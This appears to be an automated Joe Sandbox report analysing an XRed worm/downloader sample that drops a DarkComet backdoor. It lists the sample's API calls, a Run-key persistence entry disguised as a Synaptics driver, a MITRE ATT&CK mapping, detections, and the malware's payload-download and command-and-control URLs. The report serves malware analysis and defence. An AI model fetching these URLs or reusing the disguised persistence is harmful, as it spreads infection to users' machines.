Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: 4_2_6C5D171F SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_6C5D171F
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: 4_2_6C8F76A7 __EH_prolog3,GetModuleHandleW,GetProcAddress,SetThreadStackGuarantee,SetUnhandledExceptionFilter,GetCommandLineW,	4_2_6C8F76A7
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: 4_2_6C91EB6A _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_6C91EB6A
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: 4_2_6C91B091 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_6C91B091

Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\Desktop\._cache_file.exe "C:\Users\user\Desktop\._cache_file.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Process created: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe "C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe" c:\36a8a8e2fed651ec27d1eed188bb35\1033\EULA.rtf /p	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Process created: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe "C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe" c:\36a8a8e2fed651ec27d1eed188bb35\1033\EULA.rtf /p	Jump to behavior

Source: C:\Users\user\Desktop\._cache_file.exe

2_2_01004F6B

Source: C:\Users\user\Desktop\._cache_file.exe

Code function: 2_2_01003D02 AllocateAndInitializeSid,GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetTokenInformation,GetLengthSid,GetTokenInformation,GetLengthSid,

2_2_01003D02

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion InstallDate

Jump to behavior

Source: C:\Users\user\Desktop\._cache_file.exe

2_2_01004F6B

Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe

Code function: 4_2_6C8F7B40 __EH_prolog3_GS,GetCommandLineW,_memset,GetTimeZoneInformation,GetThreadLocale,

4_2_6C8F7B40

Source: C:\Users\user\Desktop\._cache_file.exe

Code function: 2_2_01003972 OpenEventA,WaitForSingleObject,CloseHandle,Sleep,LoadLibraryA,GetProcAddress,WaitForSingleObject,GetLastError,InitiateSystemShutdownA,GetLastError,WaitForSingleObject,GetLastError,GetVersionExA,GetVersionExA,GetVersionExA,GetSystemDirectoryA,strchr,CreateFileA,FlushFileBuffers,CloseHandle,NtShutdownSystem,FreeLibrary,

2_2_01003972

Source: C:\Users\user\Desktop\._cache_file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.17.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.17.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.17.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.17.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.17.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected XRed

Source: Yara match	File source: file.exe, type: SAMPLE
Source: Yara match	File source: 0.0.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1361968808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1449952908.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7568, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Synaptics.exe PID: 7712, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\Synaptics\RCX3CE.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\Documents\AFWAAFRXKO\~$cache1, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED

Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe

Directory queried: C:\Users\user\Documents

Remote Access Functionality

Yara detected XRed

Source: Yara match	File source: file.exe, type: SAMPLE
Source: Yara match	File source: 0.0.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1361968808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1449952908.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7568, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Synaptics.exe PID: 7712, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\Synaptics\RCX3CE.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\Documents\AFWAAFRXKO\~$cache1, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	41 Scripting	1 Replication Through Removable Media	2 Native API	41 Scripting	1 DLL Side-Loading	11 Disable or Modify Tools	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	3 Command and Scripting Interpreter	1 DLL Side-Loading	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Peripheral Device Discovery	Remote Desktop Protocol	1 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Service Execution	11 Windows Service	1 Access Token Manipulation	3 Obfuscated Files or Information	Security Account Manager	14 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Registry Run Keys / Startup Folder	11 Windows Service	1 DLL Side-Loading	NTDS	18 System Information Discovery	Distributed Component Object Model	Input Capture	34 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	11 Process Injection	1 Extra Window Memory Injection	LSA Secrets	131 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Registry Run Keys / Startup Folder	22 Masquerading	Cached Domain Credentials	11 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Virtualization/Sandbox Evasion	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	92%	ReversingLabs	Win32.Worm.Zorex
file.exe	100%	Avira	TR/Dldr.Agent.SH
file.exe	100%	Avira	W2000M/Dldr.Agent.17651006
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\Synaptics\RCX3CE.tmp	100%	Avira	TR/Dldr.Agent.SH
C:\ProgramData\Synaptics\RCX3CE.tmp	100%	Avira	W2000M/Dldr.Agent.17651006
C:\ProgramData\Synaptics\Synaptics.exe	100%	Avira	TR/Dldr.Agent.SH
C:\ProgramData\Synaptics\Synaptics.exe	100%	Avira	W2000M/Dldr.Agent.17651006
C:\ProgramData\Synaptics\RCX3CE.tmp	100%	Joe Sandbox ML
C:\ProgramData\Synaptics\Synaptics.exe	100%	Joe Sandbox ML
C:\36a8a8e2fed651ec27d1eed188bb35\1028\SetupResources.dll	0%	ReversingLabs
C:\36a8a8e2fed651ec27d1eed188bb35\1031\SetupResources.dll	0%	ReversingLabs
C:\36a8a8e2fed651ec27d1eed188bb35\1033\SetupResources.dll	0%	ReversingLabs
C:\36a8a8e2fed651ec27d1eed188bb35\1036\SetupResources.dll	0%	ReversingLabs
C:\36a8a8e2fed651ec27d1eed188bb35\1040\SetupResources.dll	0%	ReversingLabs
C:\36a8a8e2fed651ec27d1eed188bb35\1041\SetupResources.dll	0%	ReversingLabs
C:\36a8a8e2fed651ec27d1eed188bb35\1042\SetupResources.dll	0%	ReversingLabs
C:\36a8a8e2fed651ec27d1eed188bb35\1049\SetupResources.dll	0%	ReversingLabs
C:\36a8a8e2fed651ec27d1eed188bb35\2052\SetupResources.dll	0%	ReversingLabs
C:\36a8a8e2fed651ec27d1eed188bb35\3082\SetupResources.dll	0%	ReversingLabs
C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	0%	ReversingLabs
C:\36a8a8e2fed651ec27d1eed188bb35\SetupEngine.dll	0%	ReversingLabs
C:\36a8a8e2fed651ec27d1eed188bb35\SetupUi.dll	0%	ReversingLabs
C:\36a8a8e2fed651ec27d1eed188bb35\sqmapi.dll	0%	ReversingLabs
C:\ProgramData\Synaptics\RCX3CE.tmp	94%	ReversingLabs	Win32.Backdoor.DarkComet
C:\ProgramData\Synaptics\Synaptics.exe	92%	ReversingLabs	Win32.Worm.Zorex
C:\Users\user\Desktop\._cache_file.exe	0%	ReversingLabs
C:\Users\user\Documents\AFWAAFRXKO\~$cache1	94%	ReversingLabs	Win32.Backdoor.DarkComet

Source	Detection	Scanner	Label
http://xred.site50.net/syn/SUpdate.iniZ	100%	Avira URL Cloud	malware
http://xred.site50.net/syn/SUpdate.iniH)k	100%	Avira URL Cloud	malware
https://drive.use	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/Synaptics.rarZ	100%	Avira URL Cloud	malware
http://xred.site50.net/syn/SSLLibrary.dlp	100%	Avira URL Cloud	malware
http://xred.site50.net/syn/SSLLibrary.dll6	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
freedns.afraid.org	69.42.215.252	true	false	high
docs.google.com	172.217.18.14	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
drive.usercontent.google.com	216.58.206.65	true	false	high
xred.mooo.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
xred.mooo.com	false		high
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://xred.site50.net/syn/SSLLibrary.dll6	Synaptics.exe, 00000003.00000002.1981358227.0000000002130000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive.use	Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1:	Synaptics.exe, 00000003.00000002.1981358227.0000000002130000.00000004.00001000.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/Synaptics.rarZ	Synaptics.exe, 00000003.00000002.1981358227.0000000002130000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1	Synaptics.exe, 00000003.00000003.1449952908.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, RCX3CE.tmp.0.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	false		high
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1	Synaptics.exe, 00000003.00000003.1449952908.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, RCX3CE.tmp.0.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	false		high
https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1	Synaptics.exe, 00000003.00000003.1449952908.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, RCX3CE.tmp.0.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	false		high
http://xred.site50.net/syn/SUpdate.iniZ	Synaptics.exe, 00000003.00000002.1981358227.0000000002130000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=8	file.exe, 00000000.00000003.1388744063.00000000026B0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/SUpdate.ini	Synaptics.exe, 00000003.00000003.1449952908.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, RCX3CE.tmp.0.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	false		high
http://xred.site50.net/syn/SSLLibrary.dlp	file.exe, 00000000.00000003.1388744063.00000000026B0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1:	Synaptics.exe, 00000003.00000002.1981358227.0000000002130000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=16	Synaptics.exe, 00000003.00000002.1981358227.0000000002130000.00000004.00001000.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/SUpdate.iniH)k	file.exe, 00000000.00000003.1388744063.00000000026B0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive.usercontent.google.com/	Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/Synaptics.rar	Synaptics.exe, 00000003.00000003.1449952908.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, RCX3CE.tmp.0.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	false		high
https://docs.google.com/uc?id=0;	Synaptics.exe, 00000003.00000002.2033802566.000000001A93E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2004023076.000000000ACBE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2027067816.00000000156BE000.00000004.00000010.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/SSLLibrary.dll	Synaptics.exe, 00000003.00000003.1449952908.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, RCX3CE.tmp.0.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	false		high
https://docs.google.com/	Synaptics.exe, 00000003.00000002.1980458813.0000000000591000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2014101336.000000000EA0A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1986453130.0000000006B05000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1980458813.00000000005DF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl	file.exe, 00000000.00000003.1388744063.00000000026B0000.00000004.00001000.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.217.18.14	docs.google.com	United States	15169	GOOGLEUS	false
216.58.206.65	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
69.42.215.252	freedns.afraid.org	United States	17048	AWKNET-LLCUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1583477
Start date and time:	2025-01-02 20:28:32 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.expl.evad.winEXE@16/120@11/3
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 89% Number of executed functions: 215 Number of non-executed functions: 198
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.109.32.97, 184.28.90.27, 52.113.194.132, 20.189.173.17, 20.42.73.29, 13.107.246.45, 20.190.160.17, 4.245.163.56
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.afd.azureedge.net, onedscolprdwus22.westus.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, ecs-office.s-0005.s-msedge.net, login.live.com, e16604.g.akamaiedge.net, onedsblobprdeus15.eastus.cloudapp.azure.com, officeclient.microsoft.com, ukw-azsc-config.officeapps.live.com, prod.fs.microsoft.com.akadns.net, ecs.office.com, self-events-data.trafficmanager.net, fs.microsoft.com, otelrules.azureedge.net, prod.configsvc1.live.com.akadns.net, self.events.data.microsoft.com, s-0005-office.config.skype.com, fe3cr.delivery.mp.microsoft.com, s-0005.s-msedge.net, config.officeapps.live.com, blobcollector.events.data.trafficmanager.net, azureedge-t-prod.trafficmanager.net, umwatson.events.data.microsoft.com, ecs.office.trafficmanager.net, europe.configsvc1.live.com.akadns.net
Execution Graph export aborted for target Synaptics.exe, PID 7712 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
14:29:35	API Interceptor	381x Sleep call for process: Synaptics.exe modified
14:29:48	API Interceptor	1327237x Sleep call for process: splwow64.exe modified
14:29:51	API Interceptor	1x Sleep call for process: wordpad.exe modified
14:30:27	API Interceptor	1x Sleep call for process: WerFault.exe modified
19:29:29	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver C:\ProgramData\Synaptics\Synaptics.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
69.42.215.252	file.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	file.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	file.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	file.exe	Get hash	malicious	AsyncRAT, XRed, XWorm	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	Open Purchase Order Summary Details-16-12-2024.vbs	Get hash	malicious	LodaRAT, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	Open Purchase Order Summary Sheet.vbs	Get hash	malicious	LodaRAT, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	Purchase Order Summary Details.vbs	Get hash	malicious	LodaRAT, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	Purchase Order Summary Details.vbs	Get hash	malicious	LodaRAT, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	xyxmml.msi	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	valyzt.msi	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	file.exe	Get hash	malicious	XRed	Browse	13.107.246.45
	file.exe	Get hash	malicious	XRed	Browse	13.107.246.45
	file.exe	Get hash	malicious	XRed	Browse	13.107.246.45
	file.exe	Get hash	malicious	Xmrig	Browse	13.107.246.45
	file.exe	Get hash	malicious	AsyncRAT, XRed, XWorm	Browse	13.107.246.45
	https://gldkzr-lpqw.buzz/script/ut.js?cb%5C=1735764124690	Get hash	malicious	Unknown	Browse	13.107.246.45
	Bootxr.exe	Get hash	malicious	Xmrig	Browse	13.107.246.45
	cici.exe	Get hash	malicious	RedLine	Browse	13.107.246.45
	intro.avi.exe	Get hash	malicious	Quasar	Browse	13.107.246.45
	random(6).exe	Get hash	malicious	Stealc	Browse	13.107.246.45
freedns.afraid.org	file.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	file.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	file.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	file.exe	Get hash	malicious	AsyncRAT, XRed, XWorm	Browse	69.42.215.252
	Open Purchase Order Summary Details-16-12-2024.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	Open Purchase Order Summary Sheet.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	Purchase Order Summary Details.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	Purchase Order Summary Details.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	xyxmml.msi	Get hash	malicious	XRed	Browse	69.42.215.252
	valyzt.msi	Get hash	malicious	XRed	Browse	69.42.215.252

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AWKNET-LLCUS	file.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	file.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	file.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	file.exe	Get hash	malicious	AsyncRAT, XRed, XWorm	Browse	69.42.215.252
	Open Purchase Order Summary Details-16-12-2024.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	Open Purchase Order Summary Sheet.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	Purchase Order Summary Details.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	Purchase Order Summary Details.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	xyxmml.msi	Get hash	malicious	XRed	Browse	69.42.215.252
	valyzt.msi	Get hash	malicious	XRed	Browse	69.42.215.252

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	file.exe	Get hash	malicious	XRed	Browse	216.58.206.65 172.217.18.14
	file.exe	Get hash	malicious	XRed	Browse	216.58.206.65 172.217.18.14
	file.exe	Get hash	malicious	XRed	Browse	216.58.206.65 172.217.18.14
	file.exe	Get hash	malicious	AsyncRAT, XRed, XWorm	Browse	216.58.206.65 172.217.18.14
	MDE_File_Sample_017466bb6ff6d1b5b887f00b4b0a959ffc026bdb.zip	Get hash	malicious	Unknown	Browse	216.58.206.65 172.217.18.14
	MDE_File_Sample_017466bb6ff6d1b5b887f00b4b0a959ffc026bdb.zip	Get hash	malicious	Unknown	Browse	216.58.206.65 172.217.18.14
	Setup.exe.7z	Get hash	malicious	Unknown	Browse	216.58.206.65 172.217.18.14
	45631.exe	Get hash	malicious	Nitol	Browse	216.58.206.65 172.217.18.14
	45631.exe	Get hash	malicious	Unknown	Browse	216.58.206.65 172.217.18.14

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\36a8a8e2fed651ec27d1eed188bb35\1028\SetupResources.dll	Auu2j0pT0B.exe	Get hash	malicious	Unknown	Browse
	WIN_SCM_RDM_INSTALL_4.0.4.0.EXE	Get hash	malicious	Unknown	Browse
	WIN_SCM_RDM_INSTALL_4.0.4.0.EXE	Get hash	malicious	Unknown	Browse
	https://storage.googleapis.com/vectric_public/Cut2DDesktopTrialEdition_Setup.exe	Get hash	malicious	Unknown	Browse
	https://download.info.apple.com/Mac_OS_X/031-30890-20150812-ea191174-4130-11e5-a125-930911ba098f/bootcamp5.1.5769.zip	Get hash	malicious	Unknown	Browse
	Kiwi_Syslog_Server_9.8.2.Freeware.setup.exe	Get hash	malicious	Unknown	Browse
	ESjy0irMIn.exe	Get hash	malicious	Njrat	Browse
	dotNetFx40_Full_setup.exe	Get hash	malicious	Phemedrone Stealer	Browse
	Scotiabank_Scanner_Driver_DigitalCheck-42180-1310v3.exe	Get hash	malicious	Unknown	Browse
	http://download.arxivar.it/Tools/Prerequisiti/vcredist_x86_2010.zip	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\36a8a8e2fed651ec27d1eed188bb35\1028\LocalizedData.xml

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (388), with CRLF line terminators
Category:	dropped
Size (bytes):	30672
Entropy (8bit):	4.293519557838441
Encrypted:	false
SSDEEP:	384:4Y2C7xDsxgg8MPN9AYy50keJzH7o3oDPnv:cxTJz7
MD5:	12DF3535E4C4EF95A8CB03FD509B5874
SHA1:	90B1F87BA02C1C89C159EBF0E1E700892B85DC39
SHA-256:	1C8132747DC33CCDB02345CBE706E65089A88FE32CF040684CA0D72BB9105119
SHA-512:	C6C8887E7023C4C1CBF849EEBD17B6AD68FC14607D1C32C0D384F951E07BFAF6B61E0639F4E5978C9E3E1D52EF8A383B62622018A26FA4066EB620F584030808
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.X.6.4.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=."....P.[..z._.... .x.6.4. .s^.S..!q.l.[.(W...Ps^.S.N.0"./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.I.A.6.4.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=."....P.[..z._.... .I.A.6.4. .s^.S..!q.l.[.(W...Ps^.S.N.0"./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.U.n.S.u.p.p.o.r.t.e.d.O.S.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=."....P\Omi.\|q}.N/e.c .M.i.c.r.o.s.o.f.t. .V.i.s.u.a.l. .C.+.+. .2.0.1.0. ..SI.ce\|vWY.N.0"./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c.

C:\36a8a8e2fed651ec27d1eed188bb35\1028\SetupResources.dll

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	14168
